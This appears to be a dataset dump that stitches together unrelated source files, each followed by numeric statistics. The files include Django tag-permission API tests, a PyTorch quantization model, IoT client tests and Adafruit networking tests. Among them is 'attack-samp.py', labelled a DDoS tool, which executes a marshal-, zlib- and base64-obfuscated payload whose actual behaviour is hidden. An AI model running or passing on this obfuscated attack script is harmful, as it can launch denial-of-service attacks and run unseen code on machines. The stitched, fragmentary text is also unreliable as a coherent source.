status.HTTP_200_OK) self.assertTrue(self.test_tag in self.test_document.tags.all()) events = self._get_test_events() self.assertEqual(events.count(), 1) self.assertEqual(events[0].action_object, self.test_tag) self.assertEqual(events[0].actor, self._test_case_user) self.assertEqual(events[0].target, self.test_document) self.assertEqual(events[0].verb, event_tag_attached.id) def test_trashed_document_attach_tag_api_view_with_full_access(self): self.grant_access( obj=self.test_document, permission=permission_tag_attach ) self.grant_access( obj=self.test_tag, permission=permission_tag_attach ) self.test_document.delete() self._clear_events() response = self._request_test_document_tag_attach_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertTrue(self.test_tag not in self.test_document.tags.all()) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_tag_list_api_view_no_permission(self): self.test_tag.documents.add(self.test_document) self._clear_events() response = self._request_test_document_tag_list_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_tag_list_api_view_with_document_access(self): self.test_tag.documents.add(self.test_document) self.grant_access( obj=self.test_document, permission=permission_tag_view ) self._clear_events() response = self._request_test_document_tag_list_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.data['count'], 0) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_tag_list_api_view_with_tag_access(self): self.test_tag.documents.add(self.test_document) self.grant_access(obj=self.test_tag, permission=permission_tag_view) self._clear_events() response = self._request_test_document_tag_list_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_tag_list_api_view_with_full_access(self): self.test_tag.documents.add(self.test_document) self.grant_access( obj=self.test_document, permission=permission_tag_view ) self.grant_access(obj=self.test_tag, permission=permission_tag_view) self._clear_events() response = self._request_test_document_tag_list_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.data['results'][0]['label'], self.test_tag.label) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_trashed_document_tag_list_api_view_with_full_access(self): self.test_tag.documents.add(self.test_document) self.grant_access( obj=self.test_document, permission=permission_tag_view ) self.grant_access(obj=self.test_tag, permission=permission_tag_view) self.test_document.delete() self._clear_events() response = self._request_test_document_tag_list_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_tag_remove_api_view_no_permission(self): self.test_tag.documents.add(self.test_document) self._clear_events() response = self._request_test_document_tag_remove_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertTrue(self.test_tag in self.test_document.tags.all()) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_tag_remove_api_view_with_document_access(self): self.test_tag.documents.add(self.test_document) self.grant_access( obj=self.test_document, permission=permission_tag_remove ) self._clear_events() response = self._request_test_document_tag_remove_api_view() self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertTrue(self.test_tag in self.test_document.tags.all()) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_tag_remove_api_view_with_tag_access(self): self.test_tag.documents.add(self.test_document) self.grant_access(obj=self.test_tag, permission=permission_tag_remove) self._clear_events() response = self._request_test_document_tag_remove_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertTrue(self.test_tag in self.test_document.tags.all()) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_tag_remove_api_view_with_full_access(self): self.test_tag.documents.add(self.test_document) self.grant_access( obj=self.test_document, permission=permission_tag_remove ) self.grant_access(obj=self.test_tag, permission=permission_tag_remove) self._clear_events() response = self._request_test_document_tag_remove_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertFalse(self.test_tag in self.test_document.tags.all()) events = self._get_test_events() self.assertEqual(events.count(), 1) self.assertEqual(events[0].action_object, self.test_tag) self.assertEqual(events[0].actor, self._test_case_user) self.assertEqual(events[0].target, self.test_document) self.assertEqual(events[0].verb, event_tag_removed.id) def test_trashed_document_tag_remove_api_view_with_full_access(self): self.test_tag.documents.add(self.test_document) self.grant_access( obj=self.test_document, permission=permission_tag_remove ) self.grant_access(obj=self.test_tag, permission=permission_tag_remove) self.test_document.delete() self._clear_events() response = self._request_test_document_tag_remove_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertTrue(self.test_tag in self.test_document.tags.all()) events = self._get_test_events() self.assertEqual(events.count(), 0)
34.544674
84
0.688933
2,525
20,105
5.061386
0.043564
0.074491
0.06025
0.05759
0.935524
0.931221
0.925117
0.921518
0.918858
0.915728
0
0.010036
0.221885
20,105
581
85
34.604131
0.806891
0
0
0.781491
0
0
0.003893
0
0
0
0
0
0.293059
1
0.087404
false
0
0.023136
0
0.123393
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
628b290791f25967e64027047979489e6c9d807e
4,755
py
Python
model.py
Sallyeen/pytorch-quantization-demo
fe2df6a44150d282548918e224d63cbcf06bb2c1
[ "Apache-2.0" ]
null
null
null
model.py
Sallyeen/pytorch-quantization-demo
fe2df6a44150d282548918e224d63cbcf06bb2c1
[ "Apache-2.0" ]
null
null
null
model.py
Sallyeen/pytorch-quantization-demo
fe2df6a44150d282548918e224d63cbcf06bb2c1
[ "Apache-2.0" ]
null
null
null
import torch import torch.nn as nn import torch.nn.functional as F from module import * class Net(nn.Module): # 可改-定义网络的普通操作 def __init__(self, num_channels=1): super(Net, self).__init__() self.conv1 = nn.Conv2d(num_channels, 40, 3, 1) self.conv2 = nn.Conv2d(40, 40, 3, 1, groups=20) self.fc = nn.Linear(5*5*40, 10) # 可改-网络的普通前向传播 def forward(self, x): x = F.relu(self.conv1(x)) x = F.max_pool2d(x, 2, 2) x = F.relu(self.conv2(x)) x = F.max_pool2d(x, 2, 2) x = x.view(-1, 5*5*40) x = self.fc(x) return x # 可改-量化:设置量化函数的功能 # 只有第一层的 conv 需要 qi,后面的模块基本是复用前面层的 qo 作为当前层的 qi def quantize(self, num_bits=8): self.qconv1 = QConv2d(self.conv1, qi=True, qo=True, num_bits=num_bits) self.qrelu1 = QReLU() self.qmaxpool2d_1 = QMaxPooling2d(kernel_size=2, stride=2, padding=0) self.qconv2 = QConv2d(self.conv2, qi=False, qo=True, num_bits=num_bits) self.qrelu2 = QReLU() self.qmaxpool2d_2 = QMaxPooling2d(kernel_size=2, stride=2, padding=0) self.qfc = QLinear(self.fc, qi=False, qo=True, num_bits=num_bits) # 量化网络前向传播;统计 min、max,同时模拟量化误差 def quantize_forward(self, x): x = self.qconv1(x) x = self.qrelu1(x) x = self.qmaxpool2d_1(x) x = self.qconv2(x) x = self.qrelu2(x) x = self.qmaxpool2d_2(x) x = x.view(-1, 5*5*40) x = self.qfc(x) return x # 在统计完 min、max 后对一些变量进行固化 # 在量化网络的时候,有些模块是没有定义 qi 的,因此这里需要传入前面层的 qo 作为当前层的 qi def freeze(self): self.qconv1.freeze() self.qrelu1.freeze(self.qconv1.qo) self.qmaxpool2d_1.freeze(self.qconv1.qo) self.qconv2.freeze(qi=self.qconv1.qo) self.qrelu2.freeze(self.qconv2.qo) self.qmaxpool2d_2.freeze(self.qconv2.qo) self.qfc.freeze(qi=self.qconv2.qo) # 实际 inference 的时候用到的函数 # 将输入 x 先量化到 int8,然后就是全量化的定点运算,得到最后一层的输出后,再反量化回 float 即可 def quantize_inference(self, x): qx = self.qconv1.qi.quantize_tensor(x) qx = self.qconv1.quantize_inference(qx) qx = self.qrelu1.quantize_inference(qx) qx = self.qmaxpool2d_1.quantize_inference(qx) qx = self.qconv2.quantize_inference(qx) qx = self.qrelu2.quantize_inference(qx) qx = self.qmaxpool2d_2.quantize_inference(qx) qx = qx.view(-1, 5*5*40) qx = self.qfc.quantize_inference(qx) out = self.qfc.qo.dequantize_tensor(qx) return out class NetBN(nn.Module): # 可改-定义网络的普通操作 def __init__(self, num_channels=1): super(NetBN, self).__init__() self.conv1 = nn.Conv2d(num_channels, 40, 3, 1) self.bn1 = nn.BatchNorm2d(40) self.conv2 = nn.Conv2d(40, 40, 3, 1) self.bn2 = nn.BatchNorm2d(40) self.fc = nn.Linear(5 * 5 * 40, 10) # 可改-网络的普通前向传播 def forward(self, x): x = self.conv1(x) x = self.bn1(x) x = F.relu(x) x = F.max_pool2d(x, 2, 2) x = self.conv2(x) x = self.bn2(x) x = F.relu(x) x = F.max_pool2d(x, 2, 2) x = x.view(-1, 5 * 5 * 40) x = self.fc(x) return x # 量化:设置量化函数的功能 # 只有第一层的 conv 需要 qi,后面的模块基本是复用前面层的 qo 作为当前层的 qi # 卷积、BN、relu融合为一个 def quantize(self, num_bits=8): self.qconv1 = QConvBNReLU(self.conv1, self.bn1, qi=True, qo=True, num_bits=num_bits) self.qmaxpool2d_1 = QMaxPooling2d(kernel_size=2, stride=2, padding=0) self.qconv2 = QConvBNReLU(self.conv2, self.bn2, qi=False, qo=True, num_bits=num_bits) self.qmaxpool2d_2 = QMaxPooling2d(kernel_size=2, stride=2, padding=0) self.qfc = QLinear(self.fc, qi=False, qo=True, num_bits=num_bits) # 量化网络前向传播 def quantize_forward(self, x): x = self.qconv1(x) x = self.qmaxpool2d_1(x) x = self.qconv2(x) x = self.qmaxpool2d_2(x) x = x.view(-1, 5*5*40) x = self.qfc(x) return x # 固化一些变量 def freeze(self): self.qconv1.freeze() self.qmaxpool2d_1.freeze(self.qconv1.qo) self.qconv2.freeze(qi=self.qconv1.qo) self.qmaxpool2d_2.freeze(self.qconv2.qo) self.qfc.freeze(qi=self.qconv2.qo) # 量化推理 # 将输入 x 先量化到 int8,然后就是全量化的定点运算,得到最后一层的输出后,再反量化回 float 即可 def quantize_inference(self, x): qx = self.qconv1.qi.quantize_tensor(x) qx = self.qconv1.quantize_inference(qx) qx = self.qmaxpool2d_1.quantize_inference(qx) qx = self.qconv2.quantize_inference(qx) qx = self.qmaxpool2d_2.quantize_inference(qx) qx = qx.view(-1, 5*5*40) qx = self.qfc.quantize_inference(qx) out = self.qfc.qo.dequantize_tensor(qx) return out
33.020833
93
0.604837
713
4,755
3.924264
0.145863
0.018585
0.027877
0.075054
0.832023
0.818442
0.818442
0.796283
0.757684
0.711222
0
0.056209
0.266667
4,755
143
94
33.251748
0.7462
0.093375
0
0.716981
0
0
0
0
0
0
0
0
0
1
0.113208
false
0
0.037736
0
0.226415
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
655aba7ec99ba53116ec9d62e2753cb7d505d886
1,664
py
Python
attack-samp.py
ltemx/samp
8b915f15b46943b9274b84c8c85541f575bca873
[ "Unlicense" ]
null
null
null
attack-samp.py
ltemx/samp
8b915f15b46943b9274b84c8c85541f575bca873
[ "Unlicense" ]
null
null
null
attack-samp.py
ltemx/samp
8b915f15b46943b9274b84c8c85541f575bca873
[ "Unlicense" ]
null
null
null
#DDOS TOOLS OrangBias4 #YOUTUBE CHANNEL : WONGKA 1307 #CIEE MAU NYOLONG SCRIPT GAKBISA YAH OAKWOKAWOK import marshal,zlib,base64 exec(marshal.loads(zlib.decompress(base64.b64decode("eJyNVM1SG0cQ7tnVDxIC8WNkBE5qKynbKl8iIQGmYpzISICMkahFLuKlUpu1ZiRWIAl2hxRUzIkc8grJg6Qqh7xMDj7kmBdIukdakCoh9q6m9fX073RPbwMGzziur3H5fzIAjj8GJwDWDWZgsQBrYGkB1sHSAxwCKxTgMFjhAEfAigQ4ClYUhA7tMeAapK1YwOjIxEHEwBoHoUE7ARydheFaC9jIKBsdZcdG2dgoGx9lx0fZxCg7MWBbmAziSdja5kkiU0SmQWCGcWhqkEJ2BkQI2pPQxPLMwo8A1wBvrCSIKeD34FgD7z27/BIuCiCmgc/BNYPSt4/AQrsk6VqzIGahfY8wExFozwFPkRY7+44dHJy9ZyGRguM4eH8wfEQU2veB6Dzw+8r/r4zPQxe7kFZmfIGyXCSi0AMin0A7TXmjwtY2+vymq9qxn/kUe+7+jU/VZQQ1JJI2l/OFXIEvZ9eyfC3HC3wllxOr2axTWFl+m83KGKociQu70eOiIVPDBsv5pyLnrJHBSv5u0dqdotUlOYai7FPUWuLODbO6OsQUeMAs5USTF7K3aoI7fh4ZY/Ew11k8zOc66x/7+E/Ibn29VKrtG/Va7dW+cVCrbu0UjVw+u2pcGHvFUs2obW5uVIqvbtU/1vsaqe+Wq29eV0uv60Zlz3joG6ViFfd2X5TNirFT20NSNvZqZp1kw4864O5l/cgTDm8Eg0tde0GDO41EwGBM8R7ijJr7GRI3iOi4wrg2SPcL3LnIMAngPWGSQZsBUU1Rne7+Fe6EQIahHaGLgrOKm+krDd6hRhTeoeoY4C2QcbpTTSVmNzxOM93Mnwba6AmHOf0fFmf67RYOHRn9PmQU+bBRVBn9NWQ09mGjmDLSh4zidxnh7wALup+hL2TVpZK7VEvXwSlxqaIuzYsbInRIKELoiFAUkbKTJK1750KS0O81joWUJC1u2pVquY5BMURtY8cubZnFXSXacxo9KXxl4Tld3uuooSOIqzVwJbpc9iRNrXsqVV5dqaKd9jyZ0YPYvjhp9gHGVnodv5Whwyjik+dnu6ZdKpo7z5XcO+8+JsmCumQxFmEzWkp7oM+wz9nt6kegi2nbXacjbFsdxbY7PX5+gqyZDmLcFc0kg0e0TaeIsIG3juN2bdvF0kPrl5/p+e0rdU48HwVtnPgyrP6F4/nziO6cOhL+e6D7s6yCxuP+HI1R2dwuV+sVNaFls1jdMn64ylABzAQdUxVceucNqaD69PkqGf/SV82RajbdbsucCiov3Y5Qefd8xTte63tzlnxSSHWEntfC5pFLdIhOzWQQrT/rqkLmQqDe7z7N9IWqVeeyH1YJfel4so9OhDiV9FXYEZdve47HK10pPO/8tJ8+5Sw6KifqnNpr9ryOI/+3XSrks357n1MS/kskCZZg8yzRf8MTbIJFtCQbfedCYUZvMppOJZjOZvFWxdkc6n6m9SVhNsn+Ac6Ckqc="))))
277.333333
1,534
0.949519
71
1,664
22.253521
0.943662
0
0
0
0
0
0
0
0
0
0
0.148238
0.010817
1,664
5
1,535
332.8
0.811665
0.057692
0
0
0
0.5
0.943131
0.943131
0
1
0
0
0
1
0
true
0
0.5
0
0.5
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
0
0
0
0
0
1
1
1
null
1
0
0
0
0
0
1
0
1
0
0
0
0
10
65c2b33916e8e1ef08001a5f87b9279a1c422e5b
116
py
Python
xdnlp/__init__.py
mikuh/xdnlp
1da294659e276c59c620a9ebbab875f1d6fbb038
[ "MIT" ]
1
2022-02-08T03:27:32.000Z
2022-02-08T03:27:32.000Z
xdnlp/__init__.py
mikuh/xdnlp
1da294659e276c59c620a9ebbab875f1d6fbb038
[ "MIT" ]
null
null
null
xdnlp/__init__.py
mikuh/xdnlp
1da294659e276c59c620a9ebbab875f1d6fbb038
[ "MIT" ]
null
null
null
from xdnlp.text.normalize import Normalize from xdnlp.text import Text from xdnlp.word_discover import WordDiscover
29
44
0.862069
17
116
5.823529
0.470588
0.272727
0.262626
0
0
0
0
0
0
0
0
0
0.103448
116
3
45
38.666667
0.951923
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
02c34d62d43212aafd1701e4b9975b4b8a9b032e
9,814
py
Python
src/test_aiot.py
mobifone-aiot/aiot-python
088c395c873e5d8c41053db258d519cd9c1cc4c8
[ "BSD-3-Clause" ]
null
null
null
src/test_aiot.py
mobifone-aiot/aiot-python
088c395c873e5d8c41053db258d519cd9c1cc4c8
[ "BSD-3-Clause" ]
null
null
null
src/test_aiot.py
mobifone-aiot/aiot-python
088c395c873e5d8c41053db258d519cd9c1cc4c8
[ "BSD-3-Clause" ]
null
null
null
from aiot import Client import json def test_token(): client = Client(gatewayAddr) token = client.token(validEmail, validPassword) ok = client.token_verify(token) assert(ok) def test_user_profile(): client = Client(gatewayAddr) token = client.token(validEmail, validPassword) profile = client.user_profile(token) assert(profile["email"] == validEmail) def test_reset_password(): client = Client(gatewayAddr) token = client.token(validEmail, validPassword) ok = client.token_verify(token) assert(ok) client.reset_password(token, invalidPassword, validPassword) token = client.token(validEmail, invalidPassword) ok = client.token_verify(token) assert(ok) client.reset_password(token, validPassword, invalidPassword) def test_create_thing(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) client.create_thing(token, "demo-1", {"meta-1": "meta-1"}) lists = client.list_things_by_user(token) assert(lists["total"] == 1) assert(len(lists["data"]) == 1) def test_list_thing_by_user(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) client.create_thing(token, "demo-1", {"meta-1": "meta-1"}) lists = client.list_things_by_user(token) assert(lists["total"] == 1) assert(len(lists["data"]) == 1) def test_delete_thing(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) client.create_thing(token, "demo-1", {"meta-1": "meta-1"}) lists = client.list_things_by_user(token) assert(lists["total"] == 1) assert(len(lists["data"]) == 1) for thing in lists["data"]: client.delete_thing(token, thing["id"]) lists = client.list_things_by_user(token) assert(lists["total"] == 0) assert(len(lists["data"]) == 0) def test_thing_profile(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) client.create_thing(token, "demo-1", {"meta-1": "meta-1"}) lists = client.list_things_by_user(token) assert(lists["total"] == 1) assert(len(lists["data"]) == 1) assert(lists["data"][0]["name"] == "demo-1") def test_update_thing(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) client.create_thing(token, "demo-1", {"meta-1": "meta-1"}) lists = client.list_things_by_user(token) assert(lists["total"] == 1) assert(len(lists["data"]) == 1) assert(lists["data"][0]["name"] == "demo-1") thing_id = lists["data"][0]["id"] client.update_thing(token, thing_id, "demo-2") lists = client.list_things_by_user(token) assert(lists["total"] == 1) assert(len(lists["data"]) == 1) assert(lists["data"][0]["name"] == "demo-2") def test_create_channel(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) client.create_channel(token, "demo-1", {"meta-1": "meta-1"}) channels = client.list_channels_by_user(token) assert(channels["total"] == 1) assert(len(channels["data"]) == 1) assert(channels["data"][0]["name"] == "demo-1") def test_update_channel(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) client.create_channel(token, "demo-1", {"meta-1": "meta-1"}) channels = client.list_channels_by_user(token) assert(channels["total"] == 1) assert(len(channels["data"]) == 1) assert(channels["data"][0]["name"] == "demo-1") channel_id = channels["data"][0]["id"] client.update_channel(token, channel_id, "demo-2") channels = client.list_channels_by_user(token) assert(channels["total"] == 1) assert(len(channels["data"]) == 1) assert(channels["data"][0]["name"] == "demo-2") def test_channel_profile(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) client.create_channel(token, "demo-1", {"meta-1": "meta-1"}) channels = client.list_channels_by_user(token) assert(channels["total"] == 1) assert(len(channels["data"]) == 1) channel_id = channels["data"][0]["id"] profile = client.channel_profile(token, channel_id) assert(profile["name"] == "demo-1") def test_delete_channel(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) client.create_channel(token, "demo-1", {"meta-1": "meta-1"}) channels = client.list_channels_by_user(token) assert(channels["total"] == 1) assert(len(channels["data"]) == 1) channel_id = channels["data"][0]["id"] client.delete_channel(token, channel_id) channels = client.list_channels_by_user(token) assert(channels["total"] == 0) assert(len(channels["data"]) == 0) def test_list_channels_user(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) client.create_channel(token, "demo-1", {"meta-1": "meta-1"}) channels = client.list_channels_by_user(token) assert(channels["total"] == 1) assert(len(channels["data"]) == 1) assert(channels["data"][0]["name"] == "demo-1") def test_connect(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) things = create_things(token, 3) channels = create_channels(token, 3) response = client.list_channels_by_thing(token, things[0]["id"]) assert(response["total"] == 0) assert(len(response["data"]) == 0) for channel in channels: thing_id = things[0]["id"] channel_id = channel["id"] client.connect(token, [channel_id], [thing_id]) response = client.list_channels_by_thing(token, things[0]["id"]) assert(response["total"] == 3) assert(len(response["data"]) == 3) def test_disconnect(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) things = create_things(token, 3) channels = create_channels(token, 3) response = client.list_channels_by_thing(token, things[0]["id"]) assert(response["total"] == 0) assert(len(response["data"]) == 0) for channel in channels: thing_id = things[0]["id"] channel_id = channel["id"] client.connect(token, [channel_id], [thing_id]) response = client.list_channels_by_thing(token, things[0]["id"]) assert(response["total"] == 3) assert(len(response["data"]) == 3) for channel in channels: thing_id = things[0]["id"] channel_id = channel["id"] client.disconnect(token, channel_id, thing_id) response = client.list_channels_by_thing(token, things[0]["id"]) assert(response["total"] == 0) assert(len(response["data"]) == 0) def test_create_gateway(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) things = create_things(token, 1) client.create_gateway(token, things[0]["id"], "demo-1", "demo-1") lists = client.list_gateway(token) assert(len(lists) == 1) assert(lists[0]["name"] == "demo-1") def test_update_gateway(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) things = create_things(token, 1) client.create_gateway(token, things[0]["id"], "demo-1", "demo-1") lists = client.list_gateway(token) assert(len(lists) == 1) def test_delete_gateway(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) things = create_things(token, 1) client.create_gateway(token, things[0]["id"], "demo-1", "demo-1") lists = client.list_gateway(token) assert(len(lists) == 1) client.delete_gateway(token, lists[0]["id"]) lists = client.list_gateway(token) assert(len(lists) == 0) def test_gateway_profile(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) things = create_things(token, 1) client.create_gateway(token, things[0]["id"], "demo-1", "demo-1") lists = client.list_gateway(token) gateway = client.gateway_profile(token, lists[0]["id"]) assert(gateway["name"] == "demo-1") def test_list_gateway(): cleanup() client = Client(gatewayAddr) token = client.token(validEmail, validPassword) lists = client.list_gateway(token) assert(len(lists) == 0) things = create_things(token, 1) client.create_gateway(token, things[0]["id"], "demo-1", "demo-1") lists = client.list_gateway(token) assert(len(lists) == 1) assert(lists[0]["name"] == "demo-1") def cleanup(): client = Client(gatewayAddr) token = client.token(validEmail, validPassword) channels = client.list_channels_by_user(token) for channel in channels["data"]: client.delete_channel(token, channel["id"]) things = client.list_things_by_user(token) for thing in things["data"]: client.delete_thing(token, thing["id"]) gateways = client.list_gateway(token) for g in gateways: client.delete_gateway(token, g["id"]) def create_things(token, count): client = Client(gatewayAddr) for i in range(count): name = "demo-%s" % i metadata = {"meta-%s" % i: "meta-%s % i"} client.create_thing(token, name, metadata) response = client.list_things_by_user(token) return response["data"] def create_channels(token, count): client = Client(gatewayAddr) for i in range(count): name = "demo-%s" % i metadata = {"meta-%s" % i: "meta-%s % i"} client.create_channel(token, name, metadata) response = client.list_channels_by_user(token) return response["data"]
27.337047
69
0.652435
1,239
9,814
5.021792
0.045198
0.049823
0.085021
0.091932
0.869817
0.860656
0.823851
0.803118
0.784314
0.759724
0
0.016769
0.185755
9,814
358
70
27.413408
0.761857
0
0
0.765182
0
0
0.071734
0
0
0
0
0
0.238866
1
0.093117
false
0.101215
0.008097
0
0.109312
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
8
02c646ab47362bc309ba8a4500336b5efcce0f43
1,069
py
Python
tests/test_utils.py
Haffi/nextcode-python-sdk
b70baa848cb6326fb0e7ee0e4167c41dcc45e085
[ "MIT" ]
7
2019-10-23T17:22:50.000Z
2021-04-17T21:44:28.000Z
tests/test_utils.py
Haffi/nextcode-python-sdk
b70baa848cb6326fb0e7ee0e4167c41dcc45e085
[ "MIT" ]
8
2019-11-07T16:41:01.000Z
2021-09-13T14:33:28.000Z
tests/test_utils.py
Haffi/nextcode-python-sdk
b70baa848cb6326fb0e7ee0e4167c41dcc45e085
[ "MIT" ]
4
2019-11-08T13:59:55.000Z
2021-11-07T13:49:21.000Z
from nextcode.utils import host_from_url from tests import BaseTestCase class UtilsTest(BaseTestCase): def test_host_from_url(self): url = "https://www.server.com" ret = host_from_url(url) self.assertEqual(ret, url + "/") url = "https://www.server.com/" ret = host_from_url(url) self.assertEqual(ret, url) url = "https://www.server.com/" ret = host_from_url(url + "path/another") self.assertEqual(ret, url) url = "http://www.server.com:8080/" ret = host_from_url(url) self.assertEqual(ret, url) url = "http://www.server.com:8080" ret = host_from_url(url) self.assertEqual(ret, url + "/") url = "www.server.com:8080/" ret = host_from_url(url) self.assertEqual(ret, "https://" + url) url = "localhost:8080" ret = host_from_url(url) self.assertEqual(ret, "https://" + url + "/") url = "http://localhost:8080" ret = host_from_url(url) self.assertEqual(ret, url + "/")
28.131579
53
0.576239
135
1,069
4.407407
0.177778
0.151261
0.184874
0.188235
0.791597
0.791597
0.791597
0.791597
0.791597
0.791597
0
0.02584
0.275959
1,069
37
54
28.891892
0.742894
0
0
0.535714
0
0
0.194574
0
0
0
0
0
0.285714
1
0.035714
false
0
0.071429
0
0.142857
0
0
0
0
null
0
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f3152a0f08a8930322bcae35ee849ecd43660654
182
py
Python
astar/tuples.py
omarsalinas16/astar-pytonix
47f36cd854b38cacfef2b7a50d3d0a030c25f547
[ "Apache-2.0" ]
1
2018-11-04T04:01:23.000Z
2018-11-04T04:01:23.000Z
astar/tuples.py
omarsalinas16/astar-pytonix
47f36cd854b38cacfef2b7a50d3d0a030c25f547
[ "Apache-2.0" ]
null
null
null
astar/tuples.py
omarsalinas16/astar-pytonix
47f36cd854b38cacfef2b7a50d3d0a030c25f547
[ "Apache-2.0" ]
null
null
null
def tuple_sum(a: tuple, b: tuple) -> tuple: return tuple([i + j for i, j in zip(a, b)]) def tuple_sub(a: tuple, b: tuple) -> tuple: return tuple([i - j for i, j in zip(a, b)])
20.222222
44
0.593407
38
182
2.789474
0.315789
0.075472
0.132075
0.226415
0.792453
0.792453
0.792453
0.792453
0.792453
0.792453
0
0
0.21978
182
8
45
22.75
0.746479
0
0
0
0
0
0
0
0
0
0
0
0
1
0.5
false
0
0
0.5
1
0
0
0
0
null
0
0
1
0
1
1
1
1
1
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
10
b857418e0b67eacd84ccb7d463675196e32aae1a
2,804
py
Python
tests/concurrent_test.py
jepler/Adafruit_CircuitPython_Requests
9a9527110726036bfad94b14166e62aa61c1276e
[ "MIT" ]
null
null
null
tests/concurrent_test.py
jepler/Adafruit_CircuitPython_Requests
9a9527110726036bfad94b14166e62aa61c1276e
[ "MIT" ]
null
null
null
tests/concurrent_test.py
jepler/Adafruit_CircuitPython_Requests
9a9527110726036bfad94b14166e62aa61c1276e
[ "MIT" ]
null
null
null
from unittest import mock import mocket import pytest import errno import adafruit_requests ip = "1.2.3.4" host = "wifitest.adafruit.com" host2 = "wifitest2.adafruit.com" path = "/testwifi/index.html" text = b"This is a test of Adafruit WiFi!\r\nIf you can read this, its working :)" response = b"HTTP/1.0 200 OK\r\nContent-Length: 70\r\n\r\n" + text def test_second_connect_fails_memoryerror(): pool = mocket.MocketPool() pool.getaddrinfo.return_value = ((None, None, None, None, (ip, 80)),) sock = mocket.Mocket(response) sock2 = mocket.Mocket(response) sock3 = mocket.Mocket(response) pool.socket.call_count = 0 # Reset call count pool.socket.side_effect = [sock, sock2, sock3] sock2.connect.side_effect = MemoryError() ssl = mocket.SSLContext() s = adafruit_requests.Session(pool, ssl) r = s.get("https://" + host + path) sock.send.assert_has_calls( [mock.call(b"testwifi/index.html"),] ) sock.send.assert_has_calls( [mock.call(b"Host: "), mock.call(b"wifitest.adafruit.com"), mock.call(b"\r\n"),] ) assert r.text == str(text, "utf-8") host2 = "test.adafruit.com" s.get("https://" + host2 + path) sock.connect.assert_called_once_with((host, 443)) sock2.connect.assert_called_once_with((host2, 443)) sock3.connect.assert_called_once_with((host2, 443)) # Make sure that the socket is closed after send fails. sock.close.assert_called_once() sock2.close.assert_called_once() assert sock3.close.call_count == 0 assert pool.socket.call_count == 3 def test_second_connect_fails_oserror(): pool = mocket.MocketPool() pool.getaddrinfo.return_value = ((None, None, None, None, (ip, 80)),) sock = mocket.Mocket(response) sock2 = mocket.Mocket(response) sock3 = mocket.Mocket(response) pool.socket.call_count = 0 # Reset call count pool.socket.side_effect = [sock, sock2, sock3] sock2.connect.side_effect = OSError(errno.ENOMEM) ssl = mocket.SSLContext() s = adafruit_requests.Session(pool, ssl) r = s.get("https://" + host + path) sock.send.assert_has_calls( [mock.call(b"testwifi/index.html"),] ) sock.send.assert_has_calls( [mock.call(b"Host: "), mock.call(b"wifitest.adafruit.com"), mock.call(b"\r\n"),] ) assert r.text == str(text, "utf-8") host2 = "test.adafruit.com" s.get("https://" + host2 + path) sock.connect.assert_called_once_with((host, 443)) sock2.connect.assert_called_once_with((host2, 443)) sock3.connect.assert_called_once_with((host2, 443)) # Make sure that the socket is closed after send fails. sock.close.assert_called_once() sock2.close.assert_called_once() assert sock3.close.call_count == 0 assert pool.socket.call_count == 3
32.229885
88
0.677247
403
2,804
4.57072
0.233251
0.065147
0.086862
0.074919
0.834962
0.807818
0.807818
0.807818
0.807818
0.807818
0
0.030039
0.180813
2,804
86
89
32.604651
0.771876
0.050285
0
0.716418
0
0.014925
0.136569
0.03988
0
0
0
0
